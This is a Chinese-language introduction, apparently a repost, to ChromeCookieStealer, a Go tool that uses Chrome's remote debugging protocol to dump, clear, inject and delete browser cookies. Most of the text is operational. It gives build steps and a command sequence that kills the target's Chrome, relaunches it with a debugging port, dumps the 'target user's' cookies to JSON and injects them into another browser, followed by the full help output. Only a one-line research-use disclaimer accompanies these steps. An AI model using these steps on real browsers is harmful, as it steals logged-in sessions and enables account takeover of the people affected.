關于ChromeCookieStealer
ChromeCookieStealer是一款功能強大的Cookie數據收集和注入工具,該工具需要配合Chrome使用,能夠利用Chrome的遠程DevTools(開發者工具)協議實現瀏覽器Cookie的數據收集、注入、清理和刪除操作。
該工具支持使用Chrome自己的格式并以JSON對象形式轉儲Cookie數據,Cookie數據的加載和注入同樣使用的是這類數據格式。
該工具僅供安全研究和測試使用,請勿將其用于其他目的。
功能介紹
1、轉儲Chrome瀏覽器的Cookie數據;
2、將轉儲的Cookie數據注入到其他Chrome實例中;
3、清理Chrome的Cookie數據;
4、編譯過程中支持自定義設置;
工具下載
由于該工具基于Go語言開發,因此我們首先需要在本地設備上安裝并配置好Go語言環境。
接下來,廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/magisterquis/chromecookiestealer.git
然后切換到項目目錄中,使用go build命令構建項目源碼:
cd chromecookiestealer go build
工具快速使用
構建完成后,執行下列命令即可收集目標用戶Chrome瀏覽器中的Cookie數據:
pkill Chrome /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # 需要根據目標情況修改 ./chromecookiestealer -dump ./cookies.json
下列命令可以將轉儲的Cookie數據注入到研究人員的本地瀏覽器中:
# 使用一個調試端口啟動Chrome,具體可參考上面的命令 ./chromecookiestealer -clear -inject ./cookies.json
工具幫助信息
Usage: chromecookiestealer [options] Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port) and, in order and as requested: - Dumps cookies - Clears cookies - Injects cookies - Deletes selected cookies Parameters for cookies to be deleted should be represented as an array of JSON objects with the following string fields: name - 要刪除的Cookie名稱 url - 刪除跟指定域名或URL匹配的所有Cookie domain - 僅刪除指定域名的Cookie path - 僅刪除指定路徑的Cookie Filenames may also be "-" for stdin/stdout. Options: -chrome URL Chrome遠程調試URL (默認為"ws://127.0.0.1:9222") -clear 清理瀏覽器Cookie -delete file 包含要刪除Cookie參數的文件名稱 -dump file 轉儲Cookie的文件名稱 -inject file 需要注入的包含Cookie的文件名稱 -no-summary 退出時不打印概述信息 -verbose 啟用Verbose日志
其他編譯選項
一般情況下,go build命令足夠滿足絕大部分用戶的需求。如果你需要執行更有針對性的安全測試,可以在編譯過程中使用“-ldflags '-X main.Foo=bar'”選項實現自定義配置。
變量 | 描述 |
DumpFile | 轉儲Cookie的文件名稱,在-dump中設置 |
InjectFile | 需要注入的文件名稱,在-inject中設置 |
DeleteFile | 描述需要刪除Cookie的文件名稱,在-delete中設置 |
DoClear | 是否需要清理Cookie,在-clear中設置 |
需要注意的是,上述所有的選項/變量默認都是未設置的。
許可證協議
本項目的開發與發布遵循BSD-3-Clause開源許可證協議。
項目地址
ChromeCookieStealer:https://github.com/magisterquis/chromecookiestealer"
參考資料
https://github.com/slyd0g/WhiteChocolateMacademiaNut
https://chromedevtools.github.io/devtools-protocol/tot/Network/#type-Cookie
RacentYY
上官雨寶
上官雨寶
LemonSec
上官雨寶
上官雨寶
上官雨寶
一顆小胡椒
007bug
尚思卓越
上官雨寶